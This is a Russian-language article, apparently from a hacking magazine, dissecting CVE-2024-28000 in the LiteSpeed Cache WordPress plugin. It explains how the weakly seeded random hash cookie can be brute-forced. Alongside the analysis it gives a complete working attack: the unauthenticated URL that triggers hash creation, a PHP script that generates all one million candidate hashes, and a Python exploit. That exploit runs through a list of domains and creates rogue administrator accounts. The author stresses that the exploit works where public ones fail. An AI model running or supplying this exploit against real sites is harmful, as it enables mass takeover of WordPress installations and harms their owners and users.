Се­год­ня я раз­беру уяз­вимость в LiteSpeed Cache — популяр­ном пла­гине для уско­рения работы сай­тов. Пла­гин работа­ет с движ­ками WooCommerce, bbPress, ClassicPress и Yoast, на сегод­ня у него более пяти мил­лионов уста­новок. Давай пос­мотрим, как генера­ция недос­таточ­но качес­твен­ных слу­чай­ных чисел при­вела к воз­можнос­ти повысить при­виле­гии до адми­на.

Каж­дый раз пос­ле того, как в новос­тях пуб­лику­ют какую‑то мегак­рутую уяз­вимость, мож­но наб­людать четыре типа людей:

  1. Те, кто спе­шит опуб­ликовать бес­плат­ный экс­пло­ит, который будет неп­рименим без дорабо­ток.
  2. Те, кто пуб­лику­ет PoC (доказа­тель­ство кон­цепции) на GitHub, YouTube или дру­гих плат­формах, оставляя ссыл­ку для покуп­ки или кон­такты.
  3. Те, кто ана­лизи­рует уяз­вимость, под­робно опи­сывая ее опас­ность, но без пре­дос­тавле­ния PoC.
  4. Лю­бите­ли пок­ритико­вать всех осталь­ных.

Се­год­ня я сов­мещу тре­тий и чет­вертый типы: рас­ска­жу тебе об уяз­вимос­ти и пок­ритикую хакеров из пер­вых двух катего­рий.

Немного о ситуации

Уяз­вимость, которую мы рас­смот­рим, нашел Джон Блэк­борн, и она получи­ла иден­тифика­тор CVE-2024-28000.

Ком­пания Patchstack утвер­жда­ет:

За эту уяз­вимость была наз­начена самая высокая наг­рада в исто­рии поис­ка оши­бок в WordPress. Прог­рамма Patchstack Zero Day наг­радила иссле­дова­теля 14 400 дол­ларов США налич­ными.

Wordfence (кон­курент) заяв­ляет:

Хо­тя об этой уяз­вимос­ти не сооб­щалось в прог­рамме Wordfence Bug Bounty, за нее, ско­рее все­го, было бы при­суж­дено воз­награж­дение в раз­мере око­ло 23 400–31 200 дол­ларов США во вре­мя нашего текуще­го кон­курса Superhero Challenge, учи­тывая извес­тную нам информа­цию об уяз­вимос­ти.

Анализ уязвимости

Уяз­вимость, по сути, зак­люча­ется в том, что где‑то в нед­рах пла­гина генери­рует­ся хеш, который исполь­зует­ся в качес­тве куки, через которую мож­но соз­дать акка­унт адми­нис­тра­тора. При этом в осно­ве хеша — слу­чай­ное чис­ло, сге­нери­рован­ное на осно­ве долей секун­ды. Чис­ло ком­бинаций для таких чисел огра­ничен­но, что поз­воля­ет подоб­рать хеш.

Зачем генерируется хеш?

У LiteSpeed Cache есть фун­кция для симуля­ции поль­зовате­ля, внут­ри которой соз­дает­ся и сох­раня­ется хеш. Этот хеш исполь­зует­ся как кука litespeed_hash. Для его генера­ции нуж­но вклю­чить фун­кцию кра­уле­ра. Если ты поищешь в коде get_hash, то уви­дишь, что эта фун­кция вызыва­ется в двух мес­тах. Преж­де чем начать ана­лиз того, как генери­рует­ся хеш, давай раз­берем­ся, в каких слу­чаях эта фун­кция вызыва­ется.

Фун­кция self_curl пред­назна­чена для выпол­нения HTTP-зап­роса с исполь­зовани­ем биб­лиоте­ки cURL:

public function self_curl($url, $ua, $uid = false, $accept = false)
{
// $accept not in use yet
$this->_crawler_conf['base'] = home_url();
$this->_crawler_conf['ua'] = $ua;
if ($accept) {
$this->_crawler_conf['headers'] = array('Accept: ' . $accept);
}
if ($uid) {
$this->_crawler_conf['cookies']['litespeed_role'] = $uid;
$this->_crawler_conf['cookies']['litespeed_hash'] = Router::get_hash();
}
$options = $this->_get_curl_options();
$options[CURLOPT_HEADER] = false;
$options[CURLOPT_FOLLOWLOCATION] = true;
$ch = curl_init();
curl_setopt_array($ch, $options);
curl_setopt($ch, CURLOPT_URL, $url);
$result = curl_exec($ch);
$code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
if ($code != 200) {
self::debug('❌ Response code is not 200 in self_curl() [code] ' . var_export($code, true));
return false;
}
return $result;
}

Эта фун­кция при­нима­ет нес­коль­ко парамет­ров, таких как URL, User-Agent и иден­тифика­тор поль­зовате­ля ($uid). Она уста­нав­лива­ет базовый URL, исполь­зуя метод home_url(), и сох­раня­ет передан­ный User-Agent. Если передан иден­тифика­тор поль­зовате­ля, соз­дают­ся куки litespeed_role и litespeed_hash.

Де­ло в том, что фун­кция self_curl исполь­зует­ся в фун­кции prepare_html.

public function prepare_html($request_url, $user_agent, $uid = false)
{
$html = $this->cls('Crawler')->self_curl(add_query_arg('LSCWP_CTRL', 'before_optm', $request_url), $user_agent, $uid);

Фун­кция prepare_html исполь­зует­ся в фун­кции _send_req.

private function _send_req($request_url, $queue_k, $uid, $user_agent, $vary, $url_tag, $type, $is_mobile, $is_webp)
{
// Check if has credit to push or not
$err = false;
$allowance = $this->cls('Cloud')->allowance(Cloud::SVC_CCSS, $err);
if (!$allowance) {
Debug2::debug('[CCSS] No credit: ' . $err);
$err && Admin_Display::error(Error::msg($err));
return 'out_of_quota';
}
// Update css request status
$this->_summary['curr_request_' . $type] = time();
self::save_summary();
// Gather guest HTML to send
$html = $this->prepare_html($request_url, $user_agent, $uid);
if (!$html) {
return false;
}
.....

Фун­кция _send_req вызыва­ется из _cron_handler.

private function _cron_handler($type, $continue)
{
$this->_queue = $this->load_queue($type);
if (empty($this->_queue)) {
return;
}
$type_tag = strtoupper($type);
// For cron, need to check request interval too
if (!$continue) {
if (!empty($this->_summary['curr_request_' . $type]) && time() - $this->_summary['curr_request_' . $type] < 300 && !$this->conf(self::O_DEBUG)) {
Debug2::debug('[' . $type_tag . '] Last request not done');
return;
}
}
$i = 0;
$timeoutLimit = ini_get('max_execution_time');
$this->_endts = time() + $timeoutLimit;
foreach ($this->_queue as $k => $v) {
if (!empty($v['_status'])) {
continue;
}
if (function_exists('set_time_limit')) {
$this->_endts += 120;
set_time_limit(120);
}
if ($this->_endts - time() < 10) {
// self::debug("🚨 End loop due to timeout limit reached " . $timeoutLimit . "s");
// return;
}
Debug2::debug('[' . $type_tag . '] cron job [tag] ' . $k . ' [url] ' . $v['url'] . ($v['is_mobile'] ? ' 📱 ' : '') . ' [UA] ' . $v['user_agent']);
if ($type == 'ccss' && empty($v['url_tag'])) {
unset($this->_queue[$k]);
$this->save_queue($type, $this->_queue);
Debug2::debug('[CCSS] wrong queue_ccss format');
continue;
}
if (!isset($v['is_webp'])) {
$v['is_webp'] = false;
}
$i++;
$res = $this->_send_req($v['url'], $k, $v['uid'], $v['user_agent'], $v['vary'], $v['url_tag'], $type, $v['is_mobile'], $v['is_webp']);
if (!$res) {
// Status is wrong, drop this this->_queue
unset($this->_queue[$k]);
$this->save_queue($type, $this->_queue);
.....

Фун­кция _cron_handler вызыва­ется из cron_ccss.

public static function cron_ccss($continue = false)
{
$_instance = self::cls();
return $_instance->_cron_handler('ccss', $continue);
}

Фун­кция cron_ccss слу­жит обер­ткой для запус­ка фун­кции _cron_handler. Она вызыва­ет фун­кцию _cron_handler, переда­вая в качес­тве типа ccss и флаг $continue. Фун­кция _cron_handler заг­ружа­ет оче­редь задач для ука­зан­ного типа (в дан­ном слу­чае — ccss) через метод load_queue. Если оче­редь пус­тая, фун­кция завер­шает выпол­нение, так как нет задач для обра­бот­ки.

То есть фун­кция cron_ccss ста­вит в обра­бот­ку фун­кцию _ccss, в которой uid — это резуль­тат работы get_current_user_id, который берет User ID из фун­кции _wp_get_current_user. То есть User ID дает­ся самим движ­ком, а не поль­зовате­лем. Это зна­чит, что манипу­лиро­вать им мы не смо­жем и нуж­но про­ана­лизи­ровать вто­рое мес­то, где вызыва­ется get_hash():

private function _ccss()
{
global $wp;
$request_url = home_url($wp->request);
$filepath_prefix = $this->_build_filepath_prefix('ccss');
$url_tag = $this->_gen_ccss_file_tag($request_url);
$vary = $this->cls('Vary')->finalize_full_varies();
$filename = $this->cls('Data')->load_url_file($url_tag, $vary, 'ccss');
if ($filename) {
$static_file = LITESPEED_STATIC_DIR . $filepath_prefix . $filename . '.css';
if (file_exists($static_file)) {
Debug2::debug2('[CSS] existing ccss ' . $static_file);
Core::comment('QUIC.cloud CCSS loaded ' . $filepath_prefix . $filename . '.css');
return File::read($static_file);
}
}
$uid = get_current_user_id();

Пе­рей­дем к ана­лизу _get_curl_options.

private function _get_curl_options($crawler_only = false)
{
$options = array(
CURLOPT_RETURNTRANSFER => true,
CURLOPT_HEADER => true,
CURLOPT_CUSTOMREQUEST => 'GET',
CURLOPT_FOLLOWLOCATION => false,
CURLOPT_ENCODING => 'gzip',
CURLOPT_CONNECTTIMEOUT => 10,
.....
if ($crawler_only) {
$this->_crawler_conf['cookies']['litespeed_hash'] = Router::get_hash();
}
.....

Для нас здесь важ­но, что если crawler_only = true, то будет генери­ровать­ся наш хеш. Вызов _get_curl_options дела­ется из _do_running, где crawler_only передан как true:

private function _do_running()
{
$options = $this->_get_curl_options(true);

Прой­дем­ся по цепоч­ке вызовов:

При каж­дом вызове дела­ется про­вер­ка manually_run, и зна­чение дол­жно быть истинным. Вот как выг­лядит вызов async_handler из async_litespeed_handler:

public static function async_litespeed_handler()
{
$type = Router::verify_type();
self::debug('type=' . $type);
// Don’t lock up other requests while processing
session_write_close();
switch ($type) {
case 'crawler':
Crawler::async_handler();
break;
case 'crawler_force':
Crawler::async_handler(true);
break;
case 'imgoptm':
Img_Optm::async_handler();
break;
case 'imgoptm_force':
Img_Optm::async_handler(true);
break;
default:
}
}

То есть хеш соз­дас­тся, если кто‑то сде­лает зап­рос вот по такому адре­су:

wp-admin/admin-ajax.php?action=async_litespeed&litespeed_type=crawler_force

Хеш генери­рует­ся для кра­улин­га, который мож­но выз­вать, либо вклю­чив соот­ветс­тву­ющую нас­трой­ку в панели адми­нис­тра­тора, либо через фун­кцию, которая не тре­бует аутен­тифика­ции. В исходном репор­те на это намека­ли, но не показа­ли, как на самом деле вызыва­ется фун­кция. Поэто­му и пуб­личные экс­пло­иты на дан­ный момент все нерабо­чие. Вот такая вот смеш­ная ситу­ация у «экс­пло­ит‑девело­перов»:

Ва­риант Alucard0x1:

def trigger_hash_generation():
payload = {
'action': 'async_litespeed',
'litespeed_type': 'crawler'
}

Ва­риант ebrasha:

private static async Task TriggerHashGeneration()
{
var payload = new Dictionary<string, string>
{
{ "action", "async_litespeed" },
{ "litespeed_type", "crawler" }
};

Ва­риант arch1m3d:

def trigger_hash_generation(target_url):
ajax_url = f"{target_url}/wp-admin/admin-ajax.php"
params = {
"action": "async_litespeed",
"litespeed_type": "crawler"
}

Как генерируется хеш?

Хеш в нашем слу­чае — это стро­ка из шес­ти псев­дослу­чай­ных сим­волов. Чек­нув фун­кцию get_hash, мож­но уви­деть, что она исполь­зует вызов rrand:

public static function get_hash()
{
// Reuse previous hash if existed
$hash = self::get_option(self::ITEM_HASH);
if ($hash) {
return $hash;
}
$hash = Str::rrand(6);
self::update_option(self::ITEM_HASH, $hash);
return $hash;
}

Фун­кция rrand пред­назна­чена для генера­ции слу­чай­ной стро­ки опре­делен­ной дли­ны из сим­волов, выб­ранных из заранее задан­ного набора.

public static function rrand($len, $type = 7)
{
mt_srand((int) ((float) microtime() * 1000000));
switch ($type) {
case 0:
$charlist = '012';
break;
case 1:
$charlist = '0123456789';
break;
case 2:
$charlist = 'abcdefghijklmnopqrstuvwxyz';
break;
case 3:
$charlist = '0123456789abcdefghijklmnopqrstuvwxyz';
break;
case 4:
$charlist = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ';
break;
case 5:
$charlist = '0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ';
break;
case 6:
$charlist = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ';
break;
case 7:
$charlist = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ';
break;
}
$str = '';
$max = strlen($charlist) - 1;
for ($i = 0; $i < $len; $i++) {
$str .= $charlist[mt_rand(0, $max)];
}
return $str;
}

Здесь $len — параметр, опре­деля­ющий дли­ну генери­руемой стро­ки, $type = 7 — параметр, который опре­деля­ет набор сим­волов для генера­ции стро­ки.

case 7:
$charlist = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ';
break;

Даль­ше исполь­зует­ся фун­кция mt_srand, которая уста­нав­лива­ет началь­ное зна­чение (seed) для генера­тора слу­чай­ных чисел mt_rand:

mt_srand((int) ((float) microtime() * 1000000));

Что такое seed и почему это важно?

Как ты, воз­можно, зна­ешь, слу­чай­ные чис­ла в компь­юте­рах вов­се не слу­чай­ные, а соз­дают­ся по опре­делен­ным алго­рит­мам, которые дают ту или иную сте­пень слу­чай­нос­ти. Обыч­но такие алго­рит­мы исполь­зуют какое‑то началь­ное зна­чение (seed, «зер­но»), которое затем меня­ют тем или иным обра­зом. Один и тот же seed в резуль­тате работы алго­рит­ма всег­да даст оди­нако­вое зна­чение.

Сид может переда­вать­ся при ини­циали­зации генера­тора слу­чай­ных чисел, и тог­да каж­дое сле­дующее получен­ное от него зна­чение будет опре­деле­но нашим сидом.

Что такое seed

Ес­ли ты все еще не до кон­ца понима­ешь, как работа­ют все эти генера­торы и что за сид такой, давай раз­берем на прос­том при­мере:

<?php
mt_srand(1);
$max = 61;
print(mt_rand(0, $max));
?>

Пред­ставь, что у тебя есть колода карт. В этой колоде — 62 кар­ты. Если каж­дый раз ты тасу­ешь колоду и вытас­кива­ешь кар­ту, она может быть раз­ной.

Но что, если у тебя всег­да одна и та же колода? Если ты не тасу­ешь колоду, а прос­то берешь кар­ты из одно­го и того же мес­та, ты всег­да будешь вытас­кивать одну и ту же кар­ту.

В нашем при­мере mt_srand(1) зада­ет «фик­сирован­ную колоду» для генера­тора слу­чай­ных чисел. То есть каж­дый раз, ког­да ты запус­каешь скрипт, генера­тор слу­чай­ных чисел начина­ет работу с одно­го и того же сос­тояния.

Из‑за того что ран­дом начина­ется всег­да с одной и той же точ­ки, ответ выше всег­да будет равен 41, так как это и есть точ­ка, с которой начина­ется ран­дом. Если три раза написать mt_rand, то отве­ты будут 41, 25, 8. Эта пос­ледова­тель­ность не меня­ется.

Как работает microtime()

Фун­кция microtime() воз­вра­щает текущее вре­мя в секун­дах с точ­ностью до мик­росекунд:

0.123456 // Представляет 123 456 микросекунд

В нашем коде про­исхо­дит сле­дующее пре­обра­зова­ние:

(float) microtime() * 1000000

Пос­коль­ку microtime() воз­вра­щает чис­ло с пла­вающей точ­кой, пред­став­ляющее текущее вре­мя с точ­ностью до мик­росекунд (нап­ример, 0,123456), удоб­но сра­зу умно­жить его на 1 000 000, что­бы получи­лось целое зна­чение, и затем при­вес­ти к целому типу (int).

Так или ина­че, у нас воз­можен ров­но один мил­лион вари­антов.

Ес­ли исполь­зовать один и тот же seed, пос­ледова­тель­ность «слу­чай­ных» чисел будет оди­нако­вой. В дан­ном слу­чае seed может быть от 0 до 999 999, а сле­дова­тель­но, и резуль­тат одно­го сра­баты­вания mt_rand име­ет мил­лион вари­антов, двух — два мил­лиона и так далее.

А если вари­антов хеша мил­лион, зна­чит, по спис­ку хешей мы мог­ли бы сбру­тить cookie и получить дос­туп к фун­кци­ям, которые тре­буют при­виле­гий. Я взял код генера­ции хешей из самого LiteSpeed и добавил пароч­ку фун­кций, которые сох­ранят все воз­можные хеши в фай­ле hashes.txt:

<?php
function rrand($len, $a, $type = 7) {
mt_srand($a);
switch ($type) {
case 0:
$charlist = '012';
break;
case 1:
$charlist = '0123456789';
break;
case 2:
$charlist = 'abcdefghijklmnopqrstuvwxyz';
break;
case 3:
$charlist = '0123456789abcdefghijklmnopqrstuvwxyz';
break;
case 4:
$charlist = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ';
break;
case 5:
$charlist = '0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ';
break;
case 6:
$charlist = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ';
break;
case 7:
$charlist = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ';
break;
}
$str = '';
$max = strlen($charlist) - 1;
for ($i = 0; $i < $len; $i++) {
$str .= $charlist[mt_rand(0, $max)];
}
return $str;
}
function generate_and_save($start, $end, $filename) {
$results = [];
for ($a = $start; $a <= $end; $a++) {
$results[] = rrand(6, $a);
}
file_put_contents($filename, implode("\n", $results), FILE_APPEND);
}
$thread_count = 1000;
$range = intdiv(1000000, $thread_count);
$filename = 'hashes.txt';
if (file_exists($filename)) {
unlink($filename);
}
$child_pids = [];
for ($i = 0; $i < $thread_count; $i++) {
$pid = pcntl_fork();
if ($pid == -1) {
die("ыы форк.");
} else if ($pid) {
$child_pids[] = $pid;
} else {
$start = $i * $range;
$end = ($i + 1) * $range - 1;
if ($i === $thread_count - 1) {
$end = 999999;
}
generate_and_save($start, $end, $filename);
exit(0);
}
}
foreach ($child_pids as $pid) {
pcntl_waitpid($pid, $status);
}
echo "Г-Готово $filename.\n";
?>

Ге­нера­ция хешей — вто­рая важ­ная часть нашего экс­пло­ита, которая сно­ва в пуб­личных экс­пло­итах написа­на неп­равиль­но. Они прос­то пос­тавили rrand(6), из‑за чего количес­тво воз­можнос­тей будет 626 = 56 800 235 584.

C:\home\xakep> cat hashes.txt| nl | grep 'Bmmtww'
738197 Bmmtww

Я решил све­рить хеш, который сге­нери­ровал­ся у меня (БД → wp_optionsoption_name = litespeed.router.hash), с хешами из моего спис­ка, и все сов­пало.

Эксплоит

Итак, у нас есть спи­сок хешей. Наш скрипт дол­жен:

Вот код, который сде­лает все это.

cve.py
import requests
import argparse
import json
import random
from concurrent.futures import ThreadPoolExecutor, as_completed, wait, FIRST_COMPLETED
from threading import Event
from urllib.parse import urlparse
def load_hashes(file_path):
with open(file_path, 'r') as f:
return [line.strip() for line in f.readlines()]
def send_request(domain, endpoint, data=None, method='POST', headers=None, timeout=10):
parsed_url = urlparse(domain)
scheme = parsed_url.scheme or 'http'
url = f"{scheme}://{parsed_url.netloc}{endpoint}"
try:
response = requests.request(method, url, json=data, headers=headers, verify=False, timeout=timeout)
return response
except requests.exceptions.RequestException as e:
print(f"Failed to connect to {url}: {e}")
return None
def check_wp_json(domain):
paths = ["/wp-json/", "/index.php/wp-json/"]
for path in paths:
response = send_request(domain, path, method='GET')
if response and ("wp-json\\/batch\\/v1" in response.text or "rest_not_logged_in" in response.text):
return path
return None
def check_litespeed_crawler(domain):
endpoint = "/wp-admin/admin-ajax.php?action=async_litespeed&litespeed_type=crawler_force"
response = send_request(domain, endpoint, method='GET')
if response and response.status_code == 200:
print(f"Litespeed crawler request successful on {domain}")
else:
print(f"Litespeed crawler request failed on {domain}: {response.status_code if response else 'No response'}")
def generate_username_and_email():
n = random.randint(101, 199)
username = f"wpmanagermain{n}"
email = f"{username}@xxx-tower.net"
return username, email
def single_exploit(domain, path, hash_value, stop_event):
if stop_event.is_set():
return None
username, email = generate_username_and_email()
headers = {
"Cookie": f"litespeed_hash={hash_value}; litespeed_role=1",
"Content-Type": "application/json"
}
data = {
"username": username,
"password": "Manager!2937",
"email": email,
"roles": ["administrator"]
}
endpoint = f"{path}wp/v2/users"
response = send_request(domain, endpoint, data=data, headers=headers)
if response and response.status_code == 401:
print(f"Failed: 401 Unauthorized on {domain}")
elif response and "capabilities" in response.text:
print(f"Success: {username}:Manager!2937:{domain} - hash was {hash_value}")
stop_event.set()
return True
else:
print(f"Response on {domain}: {response.status_code} {response.text}")
return False
def exploit(domain, hashes):
path = check_wp_json(domain)
if path:
stop_event = Event()
with ThreadPoolExecutor(max_workers=100) as executor:
futures = [
executor.submit(single_exploit, domain, path, hash_value, stop_event) for hash_value in hashes
]
done, not_done = wait(futures, return_when=FIRST_COMPLETED)
if any(f.result() for f in done):
stop_event.set()
executor.shutdown(wait=False)
else:
for future in not_done:
future.cancel()
else:
print(f"Failed: No valid wp-json path found for {domain}")
def main():
parser = argparse.ArgumentParser(description="Domain Exploit Tool")
parser.add_argument("-f", "--file", required=True, help="File containing list of domains")
args = parser.parse_args()
hashes = load_hashes("hashes.txt")
with open(args.file, 'r') as f:
domains = [line.strip() for line in f.readlines()]
for domain in domains:
print(f"Processing {domain}")
check_litespeed_crawler(domain)
exploit(domain, hashes)
if __name__ == "__main__":
main()

За­пус­кать мож­но вот так:

python3 cve.py -f domainsWithScheme.txt

Выводы

Как видишь, пуб­личные экс­пло­иты даже отно­ситель­но нес­ложных уяз­вимос­тей зачас­тую никуда не годят­ся. Но дос­таточ­но нем­ного поизу­чать исходни­ки, най­ти уяз­вимые фун­кции и понять, почему и в каких усло­виях воз­можен опи­сан­ный в CVE баг, и путь экс­плу­ата­ции ста­новит­ся оче­вид­ным.